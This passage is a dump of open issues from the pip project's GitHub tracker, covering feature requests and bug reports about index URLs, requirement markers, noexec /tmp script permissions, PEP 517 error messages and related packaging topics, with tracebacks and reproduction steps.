2. Allow a special declarative flag in `pyproject.toml` for a build time dependency saying "this one is really heavy to install, pip should use that one from external site-packages even in build isolation to avoid excessive rebuild time"

The "screw build isolation" solution:

3. Require all affected Cython projects to just never use build isolation (is that even possible right now? If not that might need a new `pyproject.toml` flag to disable it)
user: ghost
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
C: PEP 517 impact: Affected by PEP 517 processing
issue_6394: state: open
title: Feature request: flag to unset --extra-index-url
body: **What's the problem this feature will solve?**

If `extra-index-url` is set in `/etc/pip.conf` or equivalent, it's not possible (as far as I'm aware) to unset this option in a pip command. You can replace `--index-url` but not unset `--extra-index-url`. If you have a third-party source set as an additional index, but want to explicitly install from PyPI, you have to clear `/etc/pip.conf`.

**Describe the solution you'd like**

Either a new flag to disable `extra-index-url`, or a new flag to specify to explicitly use one index, e.g:

```
$ pip install package --no-extra-index
```

```
$ pip install package --only-use-index-url https://pypi.org/simple
```

**Alternative Solutions**

As far as I'm aware, the only alternative is to delete `/etc/pip.conf`, and there's no way to tell pip not to use it for a particular use.

**Additional context**

I maintain a third-party repo at [piwheels.org](https://www.piwheels.org) for Raspberry Pi users and we pre-configure `/etc/pip.conf` in Raspbian to set `extra-index-url`. If users want to make sure their installation comes from PyPI one time, they have to remove `/etc/pip.conf`.

One such reason for this is when a package's requirements.txt specifies hashes from PyPI, e.g. https://github.com/bennuttall/piwheels/issues/144
user: bennuttall
labels: type: feature request: Request for a new feature
C: finder: PackageFinder and index related code
issue_6385: state: open
title: pip install raises exception on two markers in requirements file
body: **Environment**

* pip version:  19.0.3
* Python version: 3.4 (but happens also at least on 2.7 and 3.7)
* OS: Ubuntu 14.04.5 LTS (Travis CI)

**Description**

When using two python version markers in a requirements file, pip install raises an exception.

The following is from Travis job https://travis-ci.org/pywbem/pywbem/jobs/515931773:

```
pip install --upgrade -r dev-requirements.txt
DEPRECATION: Python 3.4 support has been deprecated. pip 19.1 will be the last one supporting it. Please upgrade your Python as Python 3.4 won't be maintained after March 2019 (cf PEP 429).
Ignoring pytest: markers 'python_version == "2.6"' don't match your environment
Ignoring httpretty: markers 'python_version == "2.6"' don't match your environment
Ignoring lxml: markers 'python_version == "2.6"' don't match your environment
Ignoring PyYAML: markers 'python_version == "2.6"' don't match your environment
Ignoring python-coveralls: markers 'python_version == "2.7"' don't match your environment
Exception:
Traceback (most recent call last):
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_vendor/packaging/markers.py", line 270, in __init__
    self._markers = _coerce_parse_result(MARKER.parseString(marker))
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_vendor/pyparsing.py", line 1814, in parseString
    raise exc
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_vendor/pyparsing.py", line 1804, in parseString
    loc, tokens = self._parse( instring, 0 )
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_vendor/pyparsing.py", line 1548, in _parseNoCache
    loc,tokens = self.parseImpl( instring, preloc, doActions )
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_vendor/pyparsing.py", line 3722, in parseImpl
    loc, exprtokens = e._parse( instring, loc, doActions )
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_vendor/pyparsing.py", line 1552, in _parseNoCache
    loc,tokens = self.parseImpl( instring, preloc, doActions )
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_vendor/pyparsing.py", line 3502, in parseImpl
    raise ParseException(instring, loc, self.errmsg, self)
pip._vendor.pyparsing.ParseException: Expected stringEnd (at char 23), (line:1, col:24)
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_internal/cli/base_command.py", line 179, in main
    status = self.run(options, args)
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_internal/commands/install.py", line 289, in run
    self.name, wheel_cache
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_internal/cli/base_command.py", line 289, in populate_requirement_set
    use_pep517=options.use_pep517):
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_internal/req/req_file.py", line 112, in parse_requirements
    for req in req_iter:
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_internal/req/req_file.py", line 193, in process_line
    isolated=isolated, options=req_options, wheel_cache=wheel_cache
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_internal/req/constructors.py", line 226, in install_req_from_line
    markers = Marker(markers_as_string)
  File "/home/travis/virtualenv/python3.4.6/lib/python3.4/site-packages/pip/_vendor/packaging/markers.py", line 275, in __init__
    raise InvalidMarker(err_str)
pip._vendor.packaging.markers.InvalidMarker: Invalid marker: "python_version >= '2.7'; python_version <\t'3.5'", parse error at '; python'
```

The corresponding line from the `dev-requirements.txt` file is:
```
Sphinx>=1.7.6,<2.0.0; python_version >= '2.7'; python_version < '3.5'  # BSD
```

I do understand meanwhile that this is an invalid syntax and I am now using:

```
Sphinx>=1.7.6,<2.0.0; python_version >= '2.7' and python_version < '3.5'  # BSD
```

**Expected behavior**

If there is invalid syntax in the requirements file, pip should give an according error message, and should not just raise an exception.

**How to Reproduce**

1. `$ echo "Sphinx>=1.7.6,<2.0.0; python_version >= '2.7'; python_version < '3.5'" >dev-requirements.txt`
4. `$ pip install -r dev-requirements.txt`

**Output**

With Python 2.7.15 and pip 19.0.3:

```
$ echo "Sphinx>=1.7.6,<2.0.0; python_version >= '2.7'; python_version < '3.5'" >dev-requirements.txt
$ pip install -r dev-requirements.txt
DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7.
Exception:
Traceback (most recent call last):
  File "/Users/maiera/virtualenvs/pywbem27/lib/python2.7/site-packages/pip/_internal/cli/base_command.py", line 179, in main
    status = self.run(options, args)
  File "/Users/maiera/virtualenvs/pywbem27/lib/python2.7/site-packages/pip/_internal/commands/install.py", line 289, in run
    self.name, wheel_cache
  File "/Users/maiera/virtualenvs/pywbem27/lib/python2.7/site-packages/pip/_internal/cli/base_command.py", line 289, in populate_requirement_set
    use_pep517=options.use_pep517):
  File "/Users/maiera/virtualenvs/pywbem27/lib/python2.7/site-packages/pip/_internal/req/req_file.py", line 112, in parse_requirements
    for req in req_iter:
  File "/Users/maiera/virtualenvs/pywbem27/lib/python2.7/site-packages/pip/_internal/req/req_file.py", line 193, in process_line
    isolated=isolated, options=req_options, wheel_cache=wheel_cache
  File "/Users/maiera/virtualenvs/pywbem27/lib/python2.7/site-packages/pip/_internal/req/constructors.py", line 226, in install_req_from_line
    markers = Marker(markers_as_string)
  File "/Users/maiera/virtualenvs/pywbem27/lib/python2.7/site-packages/pip/_vendor/packaging/markers.py", line 275, in __init__
    raise InvalidMarker(err_str)
InvalidMarker: Invalid marker: u"python_version >= '2.7'; python_version < '3.5'", parse error at u'; python'
```

user: andy-maier
labels: type: enhancement: Improvements to functionality
kind: crash: For situations where pip crashes
C: error messages: Improving error messages
issue_6374: state: open
title: pip git+https option to not checkout submodules
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
Sometimes a repo has submodules for (huge) test files located in a separate Git-LFS repo. Since these are test files they may not be required in the final install.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
In case of Git pip installs it would be beneficial if the user could disable the checkout of certain or all submodules to not download unnecessary files.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

user: zerothi
labels: C: vcs: pip's interaction with version control systems like git, svn and bzr
type: feature request: Request for a new feature
resolution: needs standard: Should be agreed as a standard before implementation
issue_6369: state: open
title: Better documentation on using --platform and --python-version
body: **What's the problem this feature will solve?**
I want to use pip to download linux packages onto a mac.

I know that I need to use some combination of `--platform`, `--python-version`, `--only-binary=:all:`. but I don't know the proper values for these options.


**Describe the solution you'd like**
I would like the documentation from the command line tool to be clear, or the package documentation on pypi to be clear for each package what values were used for these options.

I am specifically trying to install pandas and sklearn for this example, but I think the issue is with the documentation.

for `--platform` I have tried `linux` `linux_x86_64`
for `--python-version` I have tried `3`, `37`, `3.7`, `cp37`

I'm not sure if any of these are correct.  I would expect the tool to offer example values ie 
```
 cp37 is not a valid option for --python-platform try (3, 37, py37) instead
```

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

I am downloading these packages in order to package them into an AWS lambda function.  I would rather not spin up a linux VM just to download packages.

**Alternative Solutions**

I also tried
```
pip search -vvv pandas
```
I would expect that command to list all possible platform/python-version options that are applicable for the package.

Thank you

user: paddymul
labels: type: docs: Documentation related
good first issue: A good item for first time contributors to work on
issue_6364: state: open
title: noexec /tmp causes pip install to miss chmod +x on scripts included in wheel file
body: **Environment**

pip version: pip 19.0.3
Python version: python 3.6
OS: Oracle Linux 7.6

tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)

**Description**
Pip won't install a script as executable if /tmp is mounted as noexec. I have a wheel file that was created with setuptools. Pip unpacks it into /tmp and chmod the file to 755 which is correct and executable. However, when pip goes to copy the file from the tmp staging dir to the destination it uses access(file, X_OK) to check if the file is executable rather than looking at the mode flags. the access() returns "EACCES (permission denied)" and pip skips the chmod step.

**Broken**:
``
chmod("/tmp/pip-install-lzeaps2y/YYY/YYY-0.3.4.data/scripts/export", 0755) = 0
...
stat("/tmp/pip-install-lzeaps2y/YYY/YYY-0.3.4.data/scripts/export", {st_mode=S_IFREG|0755, st_size=3593, ...}) = 0
access("/tmp/pip-install-lzeaps2y/YYY/YYY-0.3.4.data/scripts/export", X_OK) = -1 EACCES (Permission denied)
stat("/home/XXX/pt/bin/export", {st_mode=S_IFREG|0644, st_size=3593, ...}) = 0
``

**Working**:
``
chmod("/tmp/pip-install-bfuur148/YYY/YYY-0.3.4.data/scripts/export", 0775) = 0
...
stat("/tmp/pip-install-bfuur148/YYY/YYY-0.3.4.data/scripts/export", {st_mode=S_IFREG|0775, st_size=3593, ...}) = 0
access("/tmp/pip-install-bfuur148/YYY/YYY-0.3.4.data/scripts/export", X_OK) = 0
stat("/tmp/pip-install-bfuur148/YYY/YYY-0.3.4.data/scripts/export", {st_mode=S_IFREG|0775, st_size=3593, ...}) = 0
chmod("/home/XXX/pt/bin/export", 0100775) = 0
stat("/home/XXX/pt/bin/export", {st_mode=S_IFREG|0775, st_size=3593, ...}) = 0
``

**Expected behavior**



**How to Reproduce**
Enable tmpfs /tmp with noexec
``
mount -t tmpfs -o rw,nosuid,nodev,noexec,relatime tmpfs /mnt
``

Create a python wheel file with a script that just echos test
```
cat << EOF > testbin
#!/bin/bash
echo test
EOF

cat << EOF > setup.py
import setuptools
setuptools.setup(
    name="example-pkg",
    version="0.0.1",
    scripts=["testbin"]
)
EOF

virtualenv --python python36 pt
source pt/bin/activate

python setup.py bdist_wheel
pip install dist/example_pkg-0.0.1-py3-none-any.whl

ls -l pt/bin
```


**Output**

Broken output shows the testbin is not +x

```
(pt) [XXX@YYY]$ cat << EOF > testbin
> #!/bin/bash
> echo test
> EOF
(pt) [XXX@YYY]$
(pt) [XXX@YYY]$ cat << EOF > setup.py
> import setuptools
> setuptools.setup(
>     name="example-pkg",
>     version="0.0.1",
>     scripts=["testbin"]
> )
> EOF
(pt) [XXX@YYY]$
(pt) [XXX@YYY]$ virtualenv --python python36 pt
Running virtualenv with interpreter /usr/bin/python36
Using base prefix '/usr'
New python executable in /backups/tmp/pt/bin/python36
Also creating executable in /backups/tmp/pt/bin/python
Installing setuptools, pip, wheel...done.
(pt) [XXX@YYY]$ source pt/bin/activate
(pt) [XXX@YYY]$
(pt) [XXX@YYY]$ python setup.py bdist_wheel
running bdist_wheel
running build
running build_scripts
copying testbin -> build/scripts-3.6
changing mode of build/scripts-3.6/testbin from 644 to 755
installing to build/bdist.linux-x86_64/wheel
running install
running install_egg_info
running egg_info
writing example_pkg.egg-info/PKG-INFO
writing dependency_links to example_pkg.egg-info/dependency_links.txt
writing top-level names to example_pkg.egg-info/top_level.txt
reading manifest file 'example_pkg.egg-info/SOURCES.txt'
writing manifest file 'example_pkg.egg-info/SOURCES.txt'
Copying example_pkg.egg-info to build/bdist.linux-x86_64/wheel/example_pkg-0.0.1-py3.6.egg-info
running install_scripts
creating build/bdist.linux-x86_64/wheel/example_pkg-0.0.1.data
creating build/bdist.linux-x86_64/wheel/example_pkg-0.0.1.data/scripts
copying build/scripts-3.6/testbin -> build/bdist.linux-x86_64/wheel/example_pkg-0.0.1.data/scripts
changing mode of build/bdist.linux-x86_64/wheel/example_pkg-0.0.1.data/scripts/testbin to 755
creating build/bdist.linux-x86_64/wheel/example_pkg-0.0.1.dist-info/WHEEL
(pt) [XXX@YYY]$ pip install dist/example_pkg-0.0.1-py3-none-any.whl
Processing ./dist/example_pkg-0.0.1-py3-none-any.whl
Installing collected packages: example-pkg
Successfully installed example-pkg-0.0.1
(pt) [XXX@YYY]$ ls -l pt/bin/testbin
-rw-r--r-- 1 XXX access-login 22 Mar 28 19:51 pt/bin/testbin
```
user: vikingsloth
labels: C: wheel: The wheel format and 'pip wheel' command
UX: User experience related
C: error messages: Improving error messages
issue_6354: state: open
title: colorama color doesn't reset properly when redirecting pip to stdout
body: **Environment**

* pip version: Requirement already satisfied: pip in c:\python\lib\site-packages (19.0.3)
* Python version: Python 3.7.2
* OS: Windows 10 64 Bit

Using system interpreter

**Description**
The command line in windows stays red after entering a certain incorrect command, not all commands give this error. This happens in  CMD and Powershell, I can't say about Linux or Mac.
It looks like this issue had occurred before - [#2817 (Closed)](https://github.com/pypa/pip/issues/2817)
![bug](https://user-images.githubusercontent.com/36128584/54712329-098b7480-4b72-11e9-8ce8-1ede9d2239a5.png)
![bug2](https://user-images.githubusercontent.com/36128584/54712334-0b553800-4b72-11e9-9c4f-c9d1bd34e520.png)


**Expected behavior**
It is obvious, the expected behavior is that it should reset the colors back to white, after the error is over. Looks like someone forgot to reset in colorama.

**How to Reproduce**
Just type 'pip install > xyz' and this bug will appear. Also it only happens with the '>' symbol, and not with any other thing.

user: tusharlock10
labels: OS: windows: Windows specific
C: logging: Information Logging
project: vendored dependency: Related to a vendored dependency
issue_6344: state: open
title: Add freeze -r option to not include anything added by pip freeze
body: **What's the problem this feature will solve?**
When freezing the package versions only the top level dependencies need to be frozen. Adding additional ones potentially leaves unnecessary dependencies in the future. https://medium.com/@tomagee/pip-freeze-requirements-txt-considered-harmful-f0bce66cf895

**Describe the solution you'd like**
An additional option like pip freeze --requirement-only requirements.txt that only outputs packages already in the file would allow a command similar to

pip freeze -r requirements.txt > requirements.txt

without this happening

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->
The team I work with are used to package managers with a .lock file to ensure consistency. So when trying python were trying to use pipenv, which feels unnecessary for the rest of their workflow.

**Alternative Solutions**
Currently I'm manually cutting out anything below from ## The following requirements were added by pip freeze: onwards

An alternative solution would be an option to just output top level dependencies

user: ramchale
labels: C: freeze: 'pip freeze' related
type: feature request: Request for a new feature
issue_6340: state: open
title: pip wheel should provide the name of the resulting file
body: **What's the problem this feature will solve?**
We want to adopt PEP 517 & 518 for Fedora, which uses separate `build` and `install` phases. We want to run these commands (separately, and as automatically as possible):

- `pip wheel`
- `pip install <resulting wheel>`

The problem is that while the PEP 517 [`build_wheel` hook](https://www.python.org/dev/peps/pep-0517/#build-wheel) returns the basename of the built wheel, `pip` AFAIK doesn’t share this information any further. We simply don’t know where the built wheel is located.

(Miro asked in [packaging Discourse](https://discuss.python.org/t/pep-517-build-frontends-to-inform-users-about-wheel-basename/1026) to see if this should go in the non-normative section of PEP 517. The response was that this would be a good feature request for `pip`, but that's it.)

**Describe the solution you'd like** 
Either:
- Print the wheel name in some parseable format, like: `Resulting wheel: foo-1.2.3-py2.py3-none-any.whl`, call this an API, and include tests to ensure it doesn't change.
- Add a option to name of a file to which the wheel name would be written.

**Alternative Solutions**
Any other way to get the wheel name from pip would work.
We don't want to guess/construct it ourselves – we feel that should be pip's job to provide the complete name.

**Additional**

We're happy to provide the PR if y'all agree it would be an improvement.

user: encukou
labels: C: wheel: The wheel format and 'pip wheel' command
type: feature request: Request for a new feature
issue_6337: state: open
title: Pick the first wheel matching criteria when using multiple index URLs
body: **What's the problem this feature will solve?**
We have an implementation of a multi-level custom PyPi with 4 or more levels. So here is how our typical package install flow works:
1. pip install  <pkg-spec> --extra-index-url <url1> --extra-index-url <url2> --extra-index-url <url3> --extra-index-url <url4>
2. Look for matching packages with the package spec in all the extra index URLs and the default index URL
3. Install the package version from where ever it was found.

However, when doing this, we have noticed that pip takes exponentially longer as you keep on adding more extra index URLs to the call.

**Describe the solution you'd like**
While I would not like to change PIPs default behavior, I wanted to suggest addition of an optional parameter that acts as a switch and does the following when provided: Instead of searching all the extra index URLs as well as the index URLs and then install the matching package at the end, it should stop the search once the first matching entry is found, and install that package.

I was thinking of calling it --install-first-result, but we can choose any name that works.

**Alternative Solutions**
We have tried making our PyPi sources faster, but in many cases, they are geographically distributed, so it can get only so fast without being prohibitively expensive.

**Additional context**
If this feature isn't high on priority, I an open to submitting a PR. Any pointers about where the code that performs this would be very helpful in that case
user: smonani
labels: C: finder: PackageFinder and index related code
issue_6334: state: open
title: Remove the non-PEP 517 "legacy" code path for building and installing projects
body: This is a longer-term goal, not something that can be done without a carefully managed transition, but pip should remove support for building and installing packages without using PEP 517.

Before this can be done, we need to be sure that PEP 517 support is complete, and there are no edge cases remaining of projects that cannot build with PEP 517, but need the legacy path. There is also an open question on how we provide editable install support, which is not covered by PEP 517.

I have raised this issue so that we have a central point to link to which makes it clear that this is the intended long term goal.
user: pfmoore
labels: C: PEP 517 impact: Affected by PEP 517 processing
issue_6310: state: open
title: Installation from path or url cannot be constrained to a version
body: **Environment**

* pip version: 19.0.3
* Python version: 3.6
* OS: Ubuntu 18.04

Hi,
Im working for company that is doing own software. 
One software require to install keystonemiddleware package. We don't want to install it from pip repository, but using a git.

How to reproduce:
```
virtualenv -p python3 --no-wheel /opt/openstack/test
/opt/openstack/test/bin/pip install -c "https://git.openstack.org/cgit/openstack/requirements/plain/upper-constraints.txt?h=stable/queens" "https://github.com/openstack/keystonemiddleware.git@stable/queens#egg=keystonemiddleware"
```

It raises an error:
```
< SOME NOT IMPORTANT/REQUIRED PACKAGES >
Ignoring scandir: markers 'python_version == "2.7"' don't match your environment
Ignoring futures: markers 'python_version == "2.7"' don't match your environment
Ignoring happybase: markers 'python_version == "2.7"' don't match your environment
Ignoring sortedcontainers: markers 'python_version == "3.4"' don't match your environment
Ignoring sortedcontainers: markers 'python_version == "3.5"' don't match your environment
', err: 'Could not satisfy constraints for 'keystonemiddleware': installation from path or url cannot be constrained to a version
```
Where packages like: scandir, futures, happybase, sortedcontainers  are not required for keystonemiddleware.
user: danpawlik
labels: type: support: User Support
issue_6283: state: open
title: pip list should not crash on a corrupted install
body: **Environment**

* pip version: 19.0.3
* Python version: 3.7.2
* OS: Fedora 29 linux

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
```
 pip list
Exception:
Traceback (most recent call last):
  File "/home/nbecker/.local/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2584, in version
    return self._version
  File "/home/nbecker/.local/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2691, in __getattr__
    raise AttributeError(attr)
AttributeError: _version

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/nbecker/.local/lib/python3.7/site-packages/pip/_internal/cli/base_command.py", line 179, in main
    status = self.run(options, args)
  File "/home/nbecker/.local/lib/python3.7/site-packages/pip/_internal/commands/list.py", line 148, in run
    self.output_package_listing(packages, options)
  File "/home/nbecker/.local/lib/python3.7/site-packages/pip/_internal/commands/list.py", line 205, in output_package_listing
    data, header = format_for_columns(packages, options)
  File "/home/nbecker/.local/lib/python3.7/site-packages/pip/_internal/commands/list.py", line 271, in format_for_columns
    row = [proj.project_name, proj.version]
  File "/home/nbecker/.local/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2589, in version
    raise ValueError(tmpl % self.PKG_INFO, self)
ValueError: ("Missing 'Version:' header and/or METADATA file", Unknown [unknown version] (/home/nbecker/.local/lib/python3.7/site-packages))
```
**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Get package from '...'
2. Then run '...'
3. An error occurs.

**Output**

```
Paste the output of the steps above, including the commands themselves and
pip's output/traceback etc.
```

user: nbecker
labels: type: bug: A confirmed bug or unintended behavior
issue_6278: state: open
title: Shebang lines are incorrect when using `--prefix` to target a venv
body: Using an external `pip` to install components into a virtual environment is a convenient way to avoid relying on having `pip` installed in the virtual environment itself: `python3 -m pip install --prefix /path/to/venv wheel_to_install.whl`

This *mostly* "just works", except for one specific problem: the shebang lines for generated scripts still point to the external Python, not at the venv's `bin` directory.

Changing that default behaviour would be problematic from a backwards compatibility point of view, but there's an old feature request that could allow it to be addressed without needed to run a separate post-install utility: https://github.com/pypa/pip/issues/3842

A more constrained alternative to an arbitrary shebang override would be a `--target-venv` option, that worked like `--prefix`, but:

1. Checked the target was a valid virtual environment
2. Adjusted shebang lines in addition to installing into that location
user: ncoghlan
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_6275: state: open
title: Unexplainable ContextualVersionConflict
body: Not sure how I am going to describe this, as I cannot find any way to reproduce this on my own machine, but for some reason, on Travis CI for Python 2.7.15, pip fails to uninstall the already present `numpy` v1.16.0 and install the requested `numpy<1.16.0,>=1.12.0`.
The build job can be viewed here: https://travis-ci.com/1313e/PRISM/jobs/178432270

I know that when running on Travis CI on Linux, it automatically comes with NumPy 1.16.0, which is incompatible with what I want to test for Python 2.7.
Therefore, when installing all requirements, it should uninstall that version and install a version that satisfies the condition (which is v1.15.4).
Until today, it did this perfectly fine and it still does on my machine(s).
However, for some odd reason, it does not do that anymore and simply throws an `ContextualVersionConflict`.

The only thing I changed today is that I combined two requirements files into a single one.
One has a package requirement that simply requires NumPy (emcee), while the other has the version restrictions.
This does work perfectly fine on my machine(s), even in fresh environments, so I am a bit confused why this pops up all of a sudden.

I know this may seem a bit of a weird issue, as I cannot give any way or method to reproduce the error, but I hope somebody knows what the problem is here.

Edit: It seems that this problem affects both pip v18.1 and v19.0.2. 
user: 1313e
labels: type: bug: A confirmed bug or unintended behavior
state: needs discussion: This needs some more discussion
C: editable: Editable installations
issue_6272: state: open
title: HTMLPage PEP 503 compliance
body: In `pip._internal.index`, links on a simple API page are found with the following:

1. [`a[href]` values are collected](https://github.com/pypa/pip/blob/b6a2be0e0ecf0d67c524b7e94a2ebacc1f7f792d/src/pip/_internal/index.py#L980)
2. [the filename part is parsed for metadata](https://github.com/pypa/pip/blob/b6a2be0e0ecf0d67c524b7e94a2ebacc1f7f792d/src/pip/_internal/index.py#L814)

But here’s how PEP 503 describes the `a` tags on an individual project page:

> The text of the anchor tag MUST be the filename of the file and the href attribute MUST be an URL that links to the location of the file for download.

A linked file’s name is specified by the text, and there’s no guarantee that the link’s filename part should match it. So instead of parsing the link, pip should use the `a` tag’s text instead to parse for metadata.

Am I interpreting the PEP text correctly? If so, should pip be fixed to follow the spec, or should we just fix the PEP to say the URL’s filename part must match the text (since existing implementations all already do this anyway in order to work)?
user: uranusjr
labels: PEP implementation: Involves some PEP
issue_6271: state: open
title: Easier options for controlling use of prebuilt packages
body: I started [a discussion about this](https://discuss.python.org/t/pip-options-for-controlling-use-of-prebuilt-packages/905) on the Python discourse board. @pfmoore asked me to open a corresponding issue so it's visible here, but suggested that we keep the conversation there. Sorry, I should have thought to start it here in the first place.

The initial post from that thread is below.

-----

We’ve hinted at the idea that the need for bootstrapping PEP 517 backends is coming up more than it probably needs to because people are using `--no-binary :all:` when something more specific would meet their needs, simply because it’s convenient and often has no downside beyond making the installation a bit slower. The slowness and the potential for things going wrong will increase as more projects use PEP 517/518 mechanisms. Can we make it easier to be more specific?

Cases I can imagine include:

1. build a single package from source, without the awkward duplication of `--no-binary pygame pygame`.
2. build all packages to be installed from source but satisfy build dependencies normally
3. skip any platform specific wheels but allow universal wheels (ensure extension modules are built locally)

This is also tangentially related to the idea that --no-binary could build a wheel locally and install it, excluding only pre-built wheels from consideration.
user: takluyver
labels: C: cli: Command line interface related things (optparse, option grouping etc)
issue_6270: state: open
title: ImportError: numpy.core.multiarray failed to import
body: **Environment**

* pip version: 19.0.2
* Python version: 2.7.15
* OS: macOS

<!-- Feel free to add more information about your environment here -->

**Description**
I spent a few hours debugging

    ImportError: numpy.core.multiarray failed to import

NumPy imports just fine but an installed package could not import numpy. (I don't actually know if that installed package could ever import numpy.)

Lots of [discussions with this error message](https://www.google.com/search?q=ImportError%3A+numpy.core.multiarray+failed+to+import) on the web, including the [TensorFlow discussion with various approaches and limited successes](https://github.com/tensorflow/tensorflow/issues/559) indicate that other people have wrangled with this problem as well.

After ruling out a bunch of hypotheses (reboot; reinstall the pip that can't import numpy; reinstall python; reinstall numpy; uninstall alternate pyenv virtualenvs that contained other versions of numpy; create a minimal `test` virtualenv containing only numpy, pip, setuptools, wheel, and the package that can't import numpy; uninstall all other pyenv virtualenvs that contain numpy except the system's own python which is locked by System Integrity Protection), I finally fixed it with this:

    pip install --force-reinstall --no-cache-dir package-that-can't-import-numpy

In other words, re-download and reinstall the calling package. (In my case, the relevant package was `stochastic-arrow==0.1.4`.)

Before- & after-tests showed that this step fixed the problem in my minimal `test` virtualenv and separately in my main working virtualenv.

Thinking about likely causes in common to the reported cases around the web leads to these ideas:

* **Hypothesis 1:** A bug in pip can lead to cached packages with bad linkage to numpy.

* **Hypothesis 2:** A bug in numpy's setup.py can lead to cached packages with bad linkage to numpy.

**Expected behavior**
Packages that happily import numpy.

**How to Reproduce**
Alas, I do not know how to get the computer back into the broken state.

**Output**

```
$ python -c 'import numpy'
$ python -c 'from arrow import StochasticSystem'
ImportError: No module named _multiarray_umath
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/local/var/pyenv/versions/test/lib/python2.7/site-packages/arrow/__init__.py", line 1, in <module>
    from reference import derive_reactants, calculate_dependencies, evolve, GillespieReference
  File "/usr/local/var/pyenv/versions/test/lib/python2.7/site-packages/arrow/reference.py", line 6, in <module>
    import obsidian
ImportError: numpy.core.multiarray failed to import
```

user: 1fish2
labels: type: support: User Support
state: needs discussion: This needs some more discussion
C: cache: Dealing with cache and files in it
issue_6258: state: open
title: Distribute tests when creating the pypi archive
body: **Environment**

* pip version: 19.0.2
* Python version: 3.7.2
* OS: Linux

**Description**
When user downloads tarball from pypi there are no tests present thus he can't validate if the pip would behave properly under his setup.
In my case I want to validate openSUSE package to ensure there is no random breakage caused by other updates in python stack.

**Expected behavior**
Tests are distributed on pypi and anyone can execute them invoking pytest properly if htey want so.

**How to Reproduce**
Download the package from pypi, observe that there are no tests.
user: scarabeusiv
labels: resolution: no action: When the resolution is to not do anything
issue_6256: state: open
title: pip's error message for wheel-build failure on PEP517 packages isn't very friendly
body: **Environment**

* pip version: 19.0.2
* Python version:
```
Python 2.7.13 (ab0b9caf307db6592905a80b8faffd69b39005b8, Sep 30 2018, 13:49:36)
[PyPy 6.0.0 with GCC 4.2.1 Compatible Apple LLVM 10.0.0 (clang-1000.11.45.2)]
```
* OS: macOS

**Description**
When pip fails to build a wheel, a fairly cryptic message appears for someone not "intimately" aware of the Python packaging ecosystem:

(The below is with cryptography, which does not publish macOS wheels for PyPy, but should fail the same way for any similar failure).

```shell
⊙  pypy ~/Development/virtualenv/virtualenv.py venv && venv/bin/pip install --quiet cryptography                                                                                                                                       jberman@USNYHJBERMANMB2
New pypy executable in /Users/jberman/Desktop/venv/bin/pypy
Installing setuptools, pip, wheel...done.
DEPRECATION: A future version of pip will drop support for Python 2.7.
/Users/jberman/Desktop/venv/site-packages/pip/_vendor/msgpack/fallback.py:222: PendingDeprecationWarning: encoding is deprecated, Use raw=False instead.
  PendingDeprecationWarning)
  Failed building wheel for cryptography
Could not build wheels for cryptography which use PEP 517 and cannot be installed directly
```

I wouldn't expect a random Python developer to know what PEP517 is (today?) in isolation. The error message appears to just be a way of saying "building the wheel failed, for reasons like e.g. not being able to find OpenSSL in this specific case, but more generically the compiler or some other thing in the build toolchain exiting unsuccessfully".

[These](https://github.com/pypa/pip/blob/f048eb7a76eab222a4dfcfc3fd01f1c9e992f49a/src/pip/_internal/commands/install.py#L358-L364) appear to be the relevant pip source lines.

**Expected behavior**
Ideally an error message that could be understood in isolation would be nice -- I can't tell immediately the *specific* set of things that need to happen to trigger that branch in the code, but my best guess at the minute would be something like `Building a <foo> wheel failed. See above for details of the specific error. Refusing to attempt an sdist build because <foo> uses features present only in PEP517. See <documentation on PEP517> for details and <foo's setup.py presumably, ideally with some specific info on what feature it uses?> for specifics."

FWIW the old version of this error was not any more friendly. On pip 18.x:

```
Command "/Users/jberman/Desktop/venv/bin/pypy -u -c "import setuptools, tokenize;__file__='/private/var/folders/46/1d5dl2sn5n9b0f3pd8lbvz9hhr5mnp/T/pip-install-96YFMf/cryptography/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /private/var/folders/46/1d5dl2sn5n9b0f3pd8lbvz9hhr5mnp/T/pip-record-kUXGwh/install-record.txt --single-version-externally-managed --compile --install-headers /Users/jberman/Desktop/venv/include/site/python2.7/cryptography" failed with error code 1 in /private/var/folders/46/1d5dl2sn5n9b0f3pd8lbvz9hhr5mnp/T/pip-install-96YFMf/cryptography/
```

